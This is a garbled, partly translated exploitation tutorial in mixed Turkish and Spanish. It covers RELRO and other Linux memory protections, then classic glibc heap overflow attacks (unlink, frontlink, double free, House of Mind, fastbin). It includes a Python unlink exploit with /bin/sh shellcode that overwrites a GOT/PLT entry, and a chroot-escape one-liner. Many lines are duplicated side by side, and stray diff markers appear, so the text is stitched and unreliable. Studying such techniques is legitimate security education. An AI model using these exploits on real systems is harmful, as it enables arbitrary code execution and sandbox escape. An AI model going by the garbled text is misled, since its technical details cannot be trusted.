**Relro (Salt Okunur Yer Değiştirme)**, bellek izinlerini NX ile benzer şekilde etkiler. Fark, NX ile yığını yürütülebilir hale getirirken, RELRO **belirli şeyleri salt okunur hale getirir**, böylece **onlara yazamayız**. Bu genellikle bir **`got` tablosu üzerine yazma** işlemini yapamamamızı engelleyen en yaygın engel olarak karşıma çıktı. `got` tablosu, libc işlevlerinin adreslerini tutar, böylece ikili dosya bu adresleri bilir ve onları çağırabilir. Bir ikili dosya için `got` tablosu girişi için bellek izinlerinin nasıl olduğuna bakalım. RELRO ile:
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
Relro olmadan:
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
Binary **relro olmadan**, `fgets` için `got` giriş adresinin `0x404018` olduğunu görebiliriz. Bellek eşlemelerine baktığımızda, bu adresin `0x404000` ile `0x405000` arasında olduğunu görüyoruz, bu da **izinlerin `rw`** olduğu anlamına gelir, yani okuma ve yazma yapabiliriz. **relro ile** binary için, binary'nin çalıştırılma sırasındaki `got` tablosu adresinin (pie etkin olduğundan bu adres değişecektir) `0x555555557fd0` olduğunu görüyoruz. Bu binary'nin bellek eşlemesinde, `0x0000555555557000` ile `0x0000555555558000` arasında düşer, bu da bellek **izininin `r`** olduğu anlamına gelir, yani sadece okuyabiliriz.
Peki **atlatma** nedir? Kullandığım tipik atlatma, relro'nun okunabilir olmasına neden olduğu bellek bölgelerine yazmamak ve **kod yürütme için farklı bir yol bulmaktır**.
Bunun gerçekleşmesi için binary'nin yürütülmeden önce fonksiyonların adreslerini bilmesi gerekir:
* Tembel bağlama: Bir fonksiyonun adresi ilk kez çağrıldığında aranır. Bu nedenle, GOT'un yürütme sırasında yazma izinlerine sahip olması gerekir.
* Şimdi bağla: Fonksiyonların adresleri yürütmenin başlangıcında çözülür, ardından .got, .dtors, .ctors, .dynamic, .jcr gibi hassas bölümlere salt okunur izinler verilir. `` `** ``-z relro`**`y`**`-z now\`\*\*
Bir programın Şimdi bağlama kullanıp kullanmadığını kontrol etmek için şunu yapabilirsiniz:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama.
Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa.
Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.
Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now**
A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles.
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para saber si usan el BIND NOW
**Fortify Source -D\_FORTIFY\_SOURCE=1 o =2**
Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura.
Por ej:\
char buf\[16];\
strcpy(but, source);
La identifica como insegura y entonces cambia strcpy() por \_\_strcpy\_chk() utilizando el tamaño del buffer como tamaño máximo a copiar.
La diferencia entre **=1** o **=2** es que:
La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d**
Para mostrar el mensaje de error se usa el argv\[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Pag 191
**Reemplazo de Libsafe**
Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\
o\
“/lib/libsave.so.2” > /etc/ld.so.preload “/lib/libsave.so.2” > /etc/ld.so.preload
Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid). Bazı güvensiz işlev çağrılarını güvenli işlevlerle değiştirir. Standart değildir. (yalnızca x86 için, -fomit-frame-pointer ile derlenmemiş, statik derlemeler için geçerli değil ve LD\_PRELOAD setuid olan ikili dosyalarda çalışmaz).
**ASCII Armored Address Space** **ASCII Armored Adres Alanı**
Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. Paylaşılan kütüphaneleri 0x00000000 ile 0x00ffffff arasında yüklemek, her zaman bir 0x00 baytının olmasını sağlar. Bununla birlikte, bu neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian'da.
**ret2plt** **ret2plt**
Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() strcpy@plt işlevini (plt'den) çağırmak ve GOT girdisinin başına işlemek ve çağrılmak istenen işlevin (system()) ilk baytını kopyalamak için bir ROP gerçekleştirmek anlamına gelir. Ardından aynısını GOT+1'e işaret ederek system()'ın 2. baytını kopyalarsınız... Sonunda GOT'da saklanan adres çağrılır ve bu system() olacaktır.
**Falso EBP** **chroot() ile Kafesler**
Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”. debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altına temel bir sistem yükler
**Jaulas con chroot()** Bir yönetici, bu kafeslerden birinden çıkmak için şunu yapabilir: mkdir foo; chroot foo; cd ..
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico **Kod Enstrümantasyonu**
Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. Valgrind —> Hataları arar\
**Instrumentación de código**
Valgrind —> Busca errores\
Memcheck\ Memcheck\
RAD (Return Address Defender)\ RAD (Return Address Defender)\
Insure++ Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev\_size |\
size | —Cabecera\
\*mem | Datos
**Trozo libre**
prev\_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Cabecera\
\*mem | Datos
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
unlink(){\
BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
}
Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Y así se se ejecuta al salir del programa la shellcode.
Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
Por lo tanto el exploit se crea:
En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Önemli olan önceki parçanın boş olduğunu gösteren bitin 1 olmasıdır** **prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 3. parçanın "size" değerinin 4 byte geride olduğunu düşünmesi için (prev\_size'ye işaret eder)** **fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Payload'da başlangıçta 8 byte dolgu ekleyeceğiz** **addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #free() adresi plt-12 (free ikinci kez çağrıldığında shellcode'un çalıştırılacağı adresi üzerine yazacak olan adres)** **got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Payload, 8 byte dolgu ile başlar çünkü öyle söylendi** **payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2. parça değiştirilir, got\_free, addr\_sc + 12 adresini kaydedeceğimiz yere işaret eder** **payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)** **os.system("./8.3.o " + payload)**
**unset() ters sırayla serbest bırakma (wargame)** **unset() liberando en sentido inverso (wargame)**
Üç ardışık parçayı kontrol ediyoruz ve rezerve edildikleri sırayla serbest bırakılıyorlar. Kontrol ettiğimiz 3 ardışık parçayı ters sırayla serbest bırakıyoruz.
Bu durumda: Bu durumda:
Parça c'ye shellcode yerleştirilir C parçasına shellcode yerleştirilir
Parça a, b'yi üzerine yazmak için kullanılır, böylece boyutunun PREV\_INUSE biti devre dışı bırakılır ve parça a'nın boş olduğunu düşünür. A parçasını, A parçasının boş olduğunu düşünmesi için PREV\_INUSE bitini devre dışı bırakacak şekilde B'yi üzerine yazmak için kullanırız.
Ayrıca, başlık b'de boyut -4 olacak şekilde üzerine yazılır. Ayrıca, başlık B'deki boyutu -4 olarak ayarlamak için üzerine yazılır.
Sonuç olarak, program "a"nın boş olduğunu ve bir binde olduğunu düşünecek ve onu ayırmak için unlink() çağrısı yapacaktır. Ancak, çünkü başlık PREV\_SIZE -4'e eşit, program "a" parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te bir unlink() yapacak ve b+12'de "fd" işaretçisi, b+16'da "bk" işaretçisi olacaktır. Bu durumda, program "a" nın boş olduğunu ve bir bağda olduğunu düşünecek, bu yüzden unlink() işlevini çağıracak. Ancak, çünkü başlık PREV\_SIZE -4 olarak ayarlanmıştır. "a" parçasının aslında b+4'te başladığını düşünecek. Yani, b+4'te başlayan bir parçayı unlink() yapacak, bu nedenle b+12'de "fd" işaretçisi ve b+16'da "bk" işaretçisi olacak.
Bu şekilde, bk'ya shellcode adresini ve fd'ye "puts()" fonksiyonunun adresini -12 olarak yerleştirirsek payloadumuzu elde ederiz. Bu şekilde, bk'ya shellcode adresini ve fd'ye "puts()" işlevinin adresini -12 olarak yerleştirirsek, payloadumuzu elde ederiz.
**Frontlink Tekniği** **Frontlink Tekniği**
Bir şey serbest bırakıldığında ve yanındaki parçalar boş değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır. Bir şey serbest bırakıldığında ve yanındaki parçalar boş değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
Saldırılan malloc hiçbir zaman serbest bırakılmazsa yararlı bir zayıflıktır. Saldırıya uğrayan malloc asla serbest bırakılmazsa yararlı bir zayıflık.
Gereksinimler: Gereksinimler:
Veri girişi işleviyle taşınabilir bir tampon Veri girişi işleviyle taşınabilir bir tampon
Bu tampona bitişik serbest bırakılacak ve başlık fd alanı taşınma ile değiştirilecek bir tampon Bu tampona bitişik serbest bırakılacak ve başlık fd alanı taşınma tamponu tarafından değiştirilecek bir tampon
512'den büyük ancak önceki tampona göre küçük bir boyutta serbest bırakılacak bir tampon 512'den büyük ancak önceki tamponu taşımak için küçük bir boyutta bir tampon
Bu adımdan önce tanımlanmış bir tampon, bu tamponun prev\_size'ını üzerine yazmaya izin verir Bu adımdan önce bu tamponun prev\_size'ını üzerine yazmaya izin veren bir tampon
Bu şekilde, kontrolsüz iki malloc üzerine yazarak ve sadece birinin serbest bırakılmasını sağlayarak bir saldırı gerçekleştirebiliriz. Bu şekilde, kontrolsüz iki malloc üzerine yazarak ve sadece birinin serbest bırakıldığı ancak diğerinin serbest bırakılmadığı bir saldırı yapabiliriz.
**Çift free() Zayıflığı** **Çift free() Zayıflığı**
Aynı işaretçiyle iki kez free() çağrılırsa, iki bin aynı adrese işaret eder. Aynı işaretçiyle iki kez free() çağrılırsa, aynı adrese işaret eden iki bağ oluşur.
Birini tekrar kullanmak istendiğinde sorunsuzca atanır. Diğerini kullanmak istendiğinde, önceki rezervasyonun yazdığı verilerle "fd" ve "bk" işaretçileri yanıltılır. Birini tekrar kullanmak istendiğinde sorunsuz bir şekilde atanır. Diğerini kullanmak istendiğinde, önceki rezervasyonun yazacağı verilerle "fd" ve "bk" işaretçileri yanıltılır.
**Free() Sonrası** **Free() Sonrası**
@ -727,7 +381,7 @@ Unlink() ve FrontLink() teknikleri unlink() işlevi değiştirilerek kaldırıld
**The house of mind** **The house of mind**
Kodun keyfi olarak yürütülmesi için sadece bir free() çağrısı gereklidir. Önce birinci parçayı taşırabilecek ve serbest bırakılacak ikinci bir parça bulunmalıdır. Kodun keyfi olarak yürütülmesi için sadece bir free() çağrısı gereklidir. Önceki bir tampon tarafından taşınabilir ve serbest bırakılabilir bir ikinci tampon aranır.
Bir free() çağrısı, public\_fREe(mem) işlevini çağırır, bu işlev: Bir free() çağrısı, public\_fREe(mem) işlevini çağırır, bu işlev:
@ -737,11 +391,11 @@ mchunkptr p;
p = mem2chunk(mes); —> Bir parçanın başladığı adresi (mem-8) döndürür p = mem2chunk(mes); —> Bir parçanın başladığı adresi işaret eden bir işaretçi döndürür (mem-8)
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for_ptr(ptr)->ar\_ptr:\&main\_arena \[1] ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
@ -749,11 +403,11 @@ ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for_ptr(p
} }
\[1] kısmında size alanı NON\_MAIN\_ARENA bitini kontrol eder, bu değeri değiştirerek kontrolü true yapabilir ve heap\_for\_ptr() işlevini çalıştırabiliriz. Bu işlev, "mem" üzerinde bir and işlemi yaparak en az anlamlı 2.5 byte'ı sıfırlar (örneğin 0x0804a000'den 0x08000000'e) ve 0x08000000->ar\_ptr adresine erişir (struct heap\_info gibi). \[1] kısmında boyut alanı NON\_MAIN_ARENA bitini kontrol eder, bu biti değiştirerek kontrolü true döndürebilir ve heap\_for\_ptr() işlevini çalıştırabilir, bu işlev "mem" üzerinde bir and işlemi yaparak en az anlamlı 2.5 baytı sıfırlar (örneğin 0x0804a000 için 0x08000000) ve 0x08000000->ar\_ptr adresine erişir (struct heap\_info gibi).
Bu şekilde, örneğin 0x0804a000 adresinde bir parçayı kontrol edebilir ve **0x081002a0** adresinde bir parça serbest bırakılıyorsa 0x08100000 adresine ulaşabilir ve istediğimiz şeyi, örneğin **0x0804a000** adresini yazabiliriz. Bu ikinci parça serbest bırakıldığında, heap\_for\_ptr(ptr)->ar\_ptr'ın 0x08100000 adresinde yazdığımızı görecektir (çünkü önce bahsettiğimiz and işlemi uygulanır ve buradan ilk 4 byte'ın değeri alınır, yani ar\_ptr). Bu şekilde, örneğin 0x0804a000 adresinde bir parçayı kontrol edebilir ve **0x081002a0** adresinde bir parçanın serbest bırakılacağını varsayarsak, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin **0x0804a000**. Bu ikinci parça serbest bırakıldığında, heap\_for\_ptr(ptr)->ar\_ptr'yi 0x08100000 adresinde yazdığımızı görecektir (çünkü önce bahsettiğimiz and işlemi uygulanır ve buradan ilk 4 baytın değeri, ar\_ptr'yi çıkarır).
Bu şekilde \_int\_free(ar\_ptr, mem) çağrılır, yani **\_int\_free(0x0804a000, 0x081002a0)**\ \_int\_free(ar\_ptr, mem) çağrılır, yani **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\ **\_int\_free(mstate av, Void\_t\* mem){**\
…\ …\
bck = unsorted\_chunks(av);\ bck = unsorted\_chunks(av);\
@ -765,25 +419,25 @@ fwd->bk = p;
..} ..}
Daha önce av değerini kontrol edebildiğimiz için, serbest bırakılacak parçanın üzerine yazdığımız değerdir. Önceki bölümde av değerini kontrol edebileceğimizi gördüğümüz gibi.
Unsorted\_chunks'ı tanımladığımız gibi biliyoruz ki:\ unsorted\_chunks nasıl tanımlandığına göre biliyoruz ki:\
bck = \&av->bins\[2]-8;\ bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\ fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p; fwd->bk = \*(av->bins\[2] + 12) = p;
Bu nedenle av->bins\[2] adresine \_\_DTOR\_END\_\_-12 adresini yazarsak, son talimatta \_\_DTOR\_END\_\_ adresine ikinci parçanın adresi yazılacaktır. Bu nedenle, av->bins\[2] adresine \_\_DTOR\_END\_\_-12 değerini yazarsak, son talimatta \_\_DTOR\_END\_\_ adresine ikinci parçanın adresi yazılacaktır.
Yani, ilk parçanın başına \_\_DTOR\_END\_\_-12 adresini birçok kez yazmamız gerekmektedir, çünkü av->bins\[2] buradan değeri alacaktır. Yani, ilk parçada başlangıca \_\_DTOR\_END\_\_-12 adresini birçok kez yazmalıyız çünkü av->bins\[2] buradan alacaktır.
İkinci parçada prev\_size'a bir jump 0x0c ve NON\_MAIN\_ARENA'yı etkinleştirecek bir boyut yazıyoruz. İkinci parçada ve ilk parçanın yardımıyla prev\_size'ı bir sıçrama 0x0c ve boyutu NON\_MAIN_ARENA'yı etkinleştirecek bir değerle üzerine yazıyoruz.
Ardından, ikinci parçaya bir sürü nops ve sonunda shellcode ekliyoruz. Ardından, ikinci parçaya bir sürü nops ve sonunda shellcode ekliyoruz.
Bu şekilde \_int\_free(TROZO1, TROZO2) çağrılır ve \_\_DTOR\_END\_\_ adresine TROZO2'nin prev\_size adresi yazılır, bu da shellcode'a atlar. Bu şekilde \_int\_free(TROZO1, TROZO2) çağrılacak ve \_\_DTOR\_END\_\_ adresine TROZO2'nin prev\_size adresi yazılacaktır, bu da shellcode'a atlayacaktır.
Bu tekniği uygulamak için payload'u biraz daha karmaşık hale getiren bazı gereksinimlerin karşılanması gerekmektedir.
Bu tekniği uygulamak için payload'un biraz daha karmaşık olmasını gerektiren bazı ek gereksinimlerin karşılanması gerekmektedir. Bu teknik artık uygulanabilir değil çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedef siteye işaret edilip edilmediği kontrol edilir.
Bu teknik artık uygulanabilir değil çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedef siteye işaret edip etmediği karşılaştırılır.
**Fastbin** **Fastbin**
@ -799,61 +453,61 @@ p->fd = \*fb
\*fb = p \*fb = p
Böylece "fb" adresi GOT'taki bir fonksiyonun adresini verirse, bu adrese üzerine yazılacak olan adresi koyarız. Bunun için arena'nın dtors adreslerine yakın olması gerekir. Daha doğrusu av->max\_fast'in üzerine yazılacak olan adreste olması gerekir. Bu şekilde, "fb" adresi GOT'taki bir fonksiyonun adresini verirse, bu adrese üzerine yazılacak olan parça adresi konulacaktır. Bunun için, arena'nın dtors adreslerine yakın olması gerekecektir. Daha doğrusu, av->max\_fast'in üzerine yazılacak olan adres olması gerekmektedir.
The House of Mind ile kontrolün av tarafından yapıldığını gördük. The House of Mind ile kontrol edildiği gibi, av'nin konumunu kontrol ettiğimizi gördük.
Bu durumda, boyut alanına 8 + NON\_MAIN\_ARENA + PREV\_INUSE boyutunu koyarsak, fastbin\_index() bize fastbins\[-1]'i döndürecektir, bu da av->max\_fast'e işaret edecektir. Bu durumda, boyut alanına 8 + NON\_MAIN\_ARENA + PREV\_INUSE boyutunu girersek —> fastbin\_index() bize fastbins\[-1] döndürecektir, bu da av->max\_fast'e işaret edecektir.
Bu durumda av->max\_fast'in üzerine yazılacak (işaret edilen değil, üzerine yazılacak olan) adres olacaktır. Bu durumda av->max\_fast'in üzerine yazılacak (işaret edilen değil, üzerine yazılacak olan pozisyon) adres olacaktır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekir -> Serbest bırakılan parçanın boyutunun 8 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız yeterlidir (ayrıca shellcode serbest bırakılan parçada olacağından, sahte parçanın boyut alanının hemen başına bir jmp koymamız gerekecektir). Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 8 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız gerekmektedir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünürsek, sahte parçanın boyut alanının hemen başına bir jmp koymamız gerekecektir).
Ayrıca, aynı sahte parçanın av->system\_mem'den küçük olması gerekir. av->system\_mem 1848 bayt daha ileridedir. Ayrıca, aynı sahte parçanın av->system\_mem'den küçük olması gerekmektedir. av->system\_mem 1848 bayt daha ileridedir.
\_DTOR\_END\_ ve GOT'taki az sayıda adresin null olmasından dolayı, bu bölümlerin hiçbiri üzerine yazılacak adres olarak uygun değildir, bu yüzden fastbin'i yığını hedeflemek için nasıl uygulayacağımıza bakalım. \_DTOR\_END\_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri üzerine yazılacak uygun bir adres olmadığından, pili hedeflemek için fastbin'i nasıl uygulayacağımıza bakalım.
Başka bir saldırı şekli de **av**'yi yığını işaret etmeye yönlendirmektir. Başka bir saldırı şekli, **av**'yi pile yönlendirmektir.
